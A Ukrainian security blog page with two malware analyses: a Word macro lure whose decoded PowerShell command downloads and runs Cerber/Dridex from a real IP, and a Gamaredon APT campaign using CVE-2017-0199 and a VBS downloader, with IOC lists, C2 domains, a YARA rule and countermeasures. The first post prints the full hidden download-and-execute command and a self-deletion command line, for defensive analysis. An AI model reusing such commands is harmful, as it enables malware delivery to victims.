Search results for powershell

PowerShell, або “не довго музика та грала..”

PowerShell

Bruce Wayne: Today you get to say “I told you so.”
Alfred: Today, I don’t want to.
(pauses for several moments)
Alfred: But I did bloody tell you.

У минулому дописі я зробив висновок про те, що нові семпли будуть частіше використовувати вбудовані можливості систем (наприклад, PowerShell). Наступного ж дня після публікації мені надіслали зразок ШПЗ який підтвердив мої слова. Давайте поглянемо на нього разом.

I. Вступ (або як усе могло би закінчитися за ~10 хвилин)

Що повинна робити освічена людина у наш непростий час коли вона отримує підозріле приєднання на кшталт Scan_6_10_2016.doc ? Правильна відповідь – в жодному разі не поспішати відкривати його одразу. Тут варто одразу сказати, що користувачеві у скриньку не повинні потрапляти такі файли, позаяк це говорить про те, що в організації немає “пісочниці” (sandbox), а фільтрація поштових приєднань не налагоджена належним чином. Що ж, ми із вами живемо не в ідеальному світі. Відкривши файл жертва побачить наступне:

macro

Замість очікуваного скану документу ми бачимо прохання активувати макрос.. І тут варто би зупинитися і передати файл на аналіз ІТшникам/ІБшникам.. А що у свою чергу має зробити відповідальний співробітник ІТ/ІБ департаменту? Навіть не відкриваючи файл, не витрачаючи часу на запуск тестової віртуальної машини?

Напевне взяти до рук такий шикарний та перевірений інструмент як oletools (вимагають наявності у системі Python 2.x) і за 15-30 секунд отримати відповідь на головне запитання:

scan_test scan_test3 scan_test2

Так, документ містить макрос який викликає PowerShell і передає йому якусь незрозумілу послідовність інструкцій, яка у свою чергу закінчується такою командою:

final = “POWERSHELL.EXE -ExecutionPolicy bypass -noprofile -windowstyle hidden -Enc ” & first

Загалом, наявність макросу та ще й із передачею команд із параметром “Execution Policy bypass” повинна бути яскравим доказом небезпеки, але … може це все ж таки щось “потрібне по роботі”? (сарказм)

Навіть якщо технічний спеціаліст не володіє базовими навичками роботи із Powershell, усього за кілька хвилин він може знайти опис параметра -Enc :

-Enc, -EncodedCommand <Base64EncodedCommand>

Угу, значить наша загадкова послідовність це команди, що були зашифровані у Base64. Витративши іще пару хвилин, скористаймося першим ліпшим онлайн-декодером. І тоді незрозумілі рядки:

first = “UABvAHcAZQByAFMAaABlAGwAbAAgAC0ARQB4AGUAYwB1…

Перетворяться на цілком чіткі команди:

PowerShell -ExecutionPolicy bypass -noprofile -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile(‘http://93.174.94.135/~harvy/verfgt.exe&#8217;, $env:APPDATA\verfgt.exe );Start-Process ( $env:APPDATA\verfgt.exe )

macro_listing2

І на цьому моменті можна було би поставити крапку. Я не жартую. Просто взяти до у ваги адресу поштового серверу, з якого прийшов цей лист; самотужки завантажити шкідливий verfgt.exe; надіслати його аналітикам антивірусу (щоб включили в наступні сигнатури); ще раз перевірити правила, що мають блокувати створення та запуск .exe із каталогів %AppData%; і головне – не забути подякувати користувачеві за його обачність.

Ось і все. Справу закрито – можна розійтися, випити чаю/кави чи чогось міцнішого та обговорити більш важливіші події на теренах кіберпростору..

Але про що я кажу, адже якщо ви досі читаєте ці рядки, то ви тут заради аналізу. Тому перейдемо до наступних кроків. Мені просто закортіло навести приклад того, як би мали реагувати користувачі та відділ СБ/ІБ на подібні листи після стількох випадків атак через фішинг.

II. Основна частина (або як буває у 90% випадків)

Очевидно, що ми маємо справу із бінарною кібер-атакою. Адже документ-приманка є нічим іншим, як представником сімейства W97M/Downloader. Задача приманки – ініціювати процес завантаження та запуск основного модуля (другої частини атаки). В даному випадку приманка залучає PowerShell для прихованого завантаження файлу. Основний же модуль є новою версією ransomware – знайомтесь, Cerber. Цей вид ПШЗ застосовується для шифрування документів з метою отримання викупу за відновлення доступу до інформації. Сам Cerber завантажується і запускається із %AppData% (неважко помітити в деобфускованій частині команд – $env:APPDATA).

те недолуге відчуття, коли тебе нарешті почули, але зовсім не ті до кого ти звертався

Так, вони (автори семплів) змінили тактику і використовують для старту інший каталог із системного оточення. Вочевидь, поради блокувати створення нових .exe файлів у %temp% та їх запуск почали заважати бізнесу тих, хто займається атаками чи написанням семплів. Хоча, про %AppData% я написав вперше коли розбирав CTB Locker – уже більше року тому. Просто майте на увазі, коли формуватимете політики безпеки.

Якщо приманка успішно виконала свою задачу, то на скомпрометованій системі починається така активність:

activate

Файл, який був завантажений PowerShell запускається із %AppData% (для Win8 яка виступала у ролі полігону ця змінна лінкує каталог **\Users\*\AppData\Roaming). Після запуску Dridex копіює своє тіло у окремий каталог в середині AppData\Roaming\ із рандомно згенерованим ім’ям (кожна активація призводить до зміни імені). У мене перший запуск дав таку картинку:

verfgt.exe -> charmap.exe, а другий прохід:

verfgt.exe -> srdelayed.exe.

Після копіювання перший процес додає нащадка в автозавантаження (HKU\CurrentVersion\Run, RunOnce та ControlPanel\Desktop\SCRNSAVE.EXE), здійснює пошук присутніх додатків, завершує та видаляє сам себе (семпл який ми розглядали раніше не мав засобів закріплення і не вмів зачищати свої сліди!):

proc_activiry reg_activity

Батьківський процес завершує і видаляє сам себе такою командою:

/d /c taskkill /t /f /im “verfgt.exe” > NUL & ping -n 1 127.0.0.1 > NUL & del “C:\Users\GK17\AppData\Roaming\verfgt.exe” > NUL

Але перед цим проводить такий пошук:

Searched C:\Documents and Setting s\Administrator\StartMenu\Prog rams\StartUp\*.lnk
Searched C:\Documents and Setting s\Default User\StartMenu\Prog rams\StartUp\*.lnk
Searched C:\WINDOWS\system32\g *s.exe
Searched C:\WINDOWS\system32\o*b.exe
Searched C:\WINDOWS\system32\o*h.exe
Searched C:\WINDOWS\system32\t*s.exe
Searched C:\WINDOWS\system32\y*o.exe

Новостворений нащадок, що розташувався за шляхом *\AppData\Roaming\{xxxxxx}\xxxx.exe встановлює з’єднання із C&C сервером, передає йому IP скомпрометованої системи та готується отримати команди:

tcp

(!) Зверніть увагу:

А ще, цей семпл здійснював розсилку UDP пакетів по діапазону IP адрес, що були закріплені за німецьким провайдером. Зміст пакету = hi03a442e

netwrk

upd

Варто зазначити, що обидві мої тестових полігони семплу здалися підозрілими і він, не отримавши команди зовні через кілька хвилин видалив сам себе. Але це його не врятувало, бо я встиг законспектувати його дії.

III. Висновки (поради та маркери компрометації)

Як і у випадку з Java навряд чи заборона PowerShell буде прийнятною мірою для всіх. Організаціям варто посилити фільтрацію поштових приєднань – блокувати або вирізати активний вміст документів до того, як вони потраплять на очі користувачеві. На рівні кінцевих точок необхідно контролювати, хоча би відстежувати, а краще взагалі блокувати спроби створити та запустити новий .exe файл за шляхами %tmp%\ та %AppData%\. Рекомендації щодо проведення співбесід-тренінгів для користувачів та впровадження періодичних тестів на проникнення залишаються в силі. Також не завадить розглянути можливість застосування “пісочниці” (для забезпечення статичного та динамічного аналізу коду), а на кінцевих точках розгорнути рішення, що дозволить працювати із білими списками (обмежити виконання неавторизлваних скриптів/запускних файлів.

P.S.

Головні висновки, які я зробив для себе під час вівісекції цього семплу:

  1. Вони будуть застосовувати механізми ОС та бізнес-додатки для обходу захисту;
  2. Вони поступово припинять писати payload в %temp%;
  3. Вони стають дедалі обережнішими (перевірка параметрів та самознищення у комплекті) – це значить, якщо адмін або ІБшнік прогавили момент активації, то через 5хв на системі жертви уже може бути пусто (або не підійшла, або уже зібрали необхідні дані);
  4. Сигнатури знов не спрацювали у перші 12 годин активності семплу;
  5. У цьому варіанті Dridex присутній претекст, чого раніше не було. Прохання активувати макроси може бути локалізованим та стилізованим під бланки установ фінансової галузі, що збільшить кількість інфікованих.

Маркери компрометації наведено нижче:

Scan_6_10_2016.doc SHA1=5067a8791ed42cb4e2c8a2637c8d400e54c2b9d1

verfgt.exe SHA1=8bd41d2a41f8a375d3de9fdd84f40f3bb17c5298

сервер з якого завантажується payload по 80 TCP = 93.174.94.135

C&C з яким спілкування іде по 80 TCP = 52.29.28.22

розсилка пакетів “hi03a442e” по 6892 UDP = 85.93.0.x

Будьте уважними та обережними при роботі з ІТ.

“Но раны остаются ранами. Они заживают, рубцуются, и вроде бы ты о них уже забыл вовсе, а потом переменится погода, они и заноют.”

MV5BMTU2OTcwMjA0NV5BMl5BanBnXkFtZTcwODI3MjA5Mg@@._V1_SX640_SY720_

VR

IOC_Gamaredon_181119

From Russia, with Love документами із піратським офісом*

Типовий день дослідника malware, поспішиш – закриють С2

Панове, бажаю здоров’я.

Вчора було зафіксовано розсилку шкідливих документів від угрупування Gamaredon APT, яке пов’язують з РФ.
Рівень загрози – високий.
Нагадую, що Gamaredon APT – команда, що спеціалізується на розповсюдженні імплантів в системах Українських організацій.

Схема:
————–
email attach .zip > .docx > xml.rels > GET .dot > macro > DROP vbs > WSH > 3d stage ..

Давайте розглянемо детально, які засоби застосовують проти нас люди з Gamaredon:

#1 Зміст документу-приманки

Підбирається під конкретну ціль. Ось кілька прикладів за осінь 2019го: (збільшене зображення по кліку)

Інформпривід або створюється штучно із залученням реальних прізвищ/посад , або ж за основу беруть документи з відкритого доступу. По рівню згенерованого контенту вони конкурують та значно випереджають те, що ми вже бачили у розсилках Sobaken.

#2 Перший файл – приманка

Конкретний зразок із розсилки за 18/11/19 є автоматично згенерованим на базі шаблону (час редагування – 2хв, дата збереження навмисно спотворена 1980й). *Також можна помітити, що пакет MS Office, в якому формували дану приманку зареєстрований на псевдо компанію “Reanimator Extreme Edition“, що є маркером піратської копії:

Документ містить вразливість CVE-2017-0199, у одному з його xml файлів вставили посилання на зовнішнє джерело:

Вразлива версія MS Office без виправлень при відкритті такого файлу одразу спробує завантажити файл за вказаним посиланням. Зауважте, що процес MS Word перед завантаженням перевіряє доступність файлу запитами із специфічним User Agent:

#3 Другий файл – dropper

Файл, який завантажується при обробці xml.rels, створений тим же “автором” у тому ж піратському офісі:

Цей файл містить макрос:

Завдання макросу – згенерувати VBS файл із унікальним посиланням для зв’язку з С2:

та забезпечує його закріплення в системі через каталог Startup:

Важливо – вони не використовують 11882, powershell чи закріплення через реєстр, бо ці трюки вже більшість ІТ\ІБ блокують або відстежують. Натомість Gamaredon намагається застосовувати старіші техніки, аби лишатися у тіні.

#4 Скрипт закріплення – downloader

VBS скрипт, який було згенеровано макросом із другого файлу відповідає за комунікацію із розгалуженою системою С2. Особливість у тому, що для з’єднання макрос на кожній системі генерує пару “Hostname+ID” і додає її у URL:

С2 використовують домени із зони ddns.net, ось частковий перелік “засвічених”:

unhcr.ddns.net
rnbo-ua.ddns.net
network-crash.ddns.net
checkhurl.site
get-icons.ddns.net
bitvers.ddns.net
shell-sertificates.ddns.net
bitread.ddns.net
sv-menedgment.ddns.net
lookups.ddns.net
libresoft.ddns.net
document-write.ddns.net
suipost.ddns.net
document-listing.ddns.net
list-sert.ddns.net
military-ua.ddns.net
const-gov.ddns.net
my-certificates.ddns.net
checkhurl.fun
libre-boot.ddns.net
kristo-ua.ddns.net
templates.hopto.org
checkhurl.website
constructor-word.ddns.net
creative-office.ddns.net
kornet-ua.ddns.net
duktas-dde.ddns.net
message-office.ddns.net
unhcr.ddns.net
shell-sertificates.ddns.net
network-crash.ddns.net
message-office.ddns.net
list-sert.ddns.net
libresoft.ddns.net
kristo-ua.ddns.net
kornet-ua.ddns.net
bitread.ddns.net
micro-office.ddns.net
get-icons.ddns.net
checkhurl.space
checkhurl.info
checkhurl.fun
checkhurl.site
underlord.site
underlord.fun
bitvers.ddns.net
sv-menedgment.ddns.net
lookups.ddns.net
document-write.ddns.net
suipost.ddns.net
document-listing.ddns.net
military-ua.ddns.net
rnbo-ua.ddns.net
const-gov.ddns.net
my-certificates.ddns.net
libre-boot.ddns.net
underlord.space
templates.hopto.org
checkhurl.website
constructor-word.ddns.net
creative-office.ddns.net
duktas-dde.ddns.net

#5 Імплант

С2 віддає імплант лише короткий проміжок часу та перевіряє параметри систем які звертаються до нього. Через це мені так і не вдалося отримати сам файл імпланту. На що це може бути схожим варто подивитися у дописі дослідника Vitali KremezDeeper Dive into Gamaredon Group Pteranodon Implant Version ‘_512’

Доречним буде скористатися YARA правилом:

rule apt_win32_gamaredon_pteranodon_initial_sfx {
   meta:
      author = "@VK_Intel"
      reference = "Detects Gamaredon Group Pteranodon Implant"
      date = "2018-12-27"
      type = "experimental"
   strings:
      $s0 = "cryptcp.exe" fullword wide
      $s1 = "SFX module - Copyright (c) 2005-2012 Oleg Scherbakov" fullword ascii
      $s2 = "7-Zip archiver - Copyright (c) 1999-2011 Igor Pavlov" fullword ascii
      $s3 = "RunProgram=\"hidcon" fullword ascii
      $s4 = "7-Zip - Copyright (c) 1999-2011 " fullword ascii
      $s5 = "sfxelevation" fullword wide
      $s6 = "Error in command line:" fullword ascii
      $s7 = "%X - %03X - %03X - %03X - %03X" fullword wide
      $s8 = "- Copyright (c) 2005-2012 " fullword ascii
      $s9 = "Supported methods and filters, build options:" fullword ascii
      $s10 = "Could not overwrite file \"%s\"." fullword ascii
      $s11 = "7-Zip: Internal error, code 0x%08X." fullword ascii
      $s12 = "@ (%d%s)" fullword wide
      $s13 = "SfxVarCmdLine0" fullword wide
      $s14 = "SfxVarCmdLine1" fullword wide
      $s15 = "SfxVarCmdLine2" fullword wide
      $cmd = ".cmd" fullword wide
condition: ( uint16(0) == 0x5a4d and filesize < 2000KB and 14 of them and $cmd) }

позичено у @VK_Intel

Аналітика:
————–

  • Зауважте, що 4 спроби аналізу не дали 3го кроку – саме тіло імпланту так і не було отримано
  • Те, що ви бачите о звіті – це лише перші 2 кроки інфікування
  • Доставка – через документи-приманки із вразливістю CVE-2017-0199 з подальшим довантаженням документу з макросом (AutoOpen)
  • Макрос виконує одну задачу – формує VBS файл з інструкціями (Downloader) та забезпечує його закріплення через каталог Startup
  • Зверніть прискіпливу увагу на мережеві маркери – за цими двома IP тягнеться шлейф різних доменів (різні профілі жертв)
  • Проблеми будуть утих, хто не оновлює MS Office та не контролює WSH (wscript.exe)
  • VBS формує унікальний URL для кожної інфікованої системи (ім’я + ідентифікатор)

Мережеві маркери:
————–
141.8.195.60 win-apu.ddns{.} net GET /apu.dot UA = Mozilla/4.0
2.59.41.5 get-icons.ddns{.} net GET /Host_ID//autoindex.php UA = Mozilla/4.0

Звіт:
————–
https://pastebin.com/Vhb4KF5L

Контрзаходи:
————–

  • Блок двох IP адрес, наданих вище та контроль спроб resolve сайтів з зони ddns.net
  • Оновлення MS Office, виправлення вразливості CVE-2017-0199 (патчі за 2017-й рік!)
  • Деактивація Windows Script Host або блок запуску ?script.exe або блок мережевого трафіку для ?script.exe (див. стаття#1 та стаття#2)
  • Заборона запуску макросів там, де вони не потрібні
  • Повне блокування доступу до Інтернет для MS Word, Excel та PowerPoint
  • Або ж блокування на Proxy специфічних User Agent MS Office Web-Dav
  • Контроль списку автозавантаження
  • Користувачі McAfee VSE/ENS у безпеці (GTI)

Будьте уважні та обережні.

VR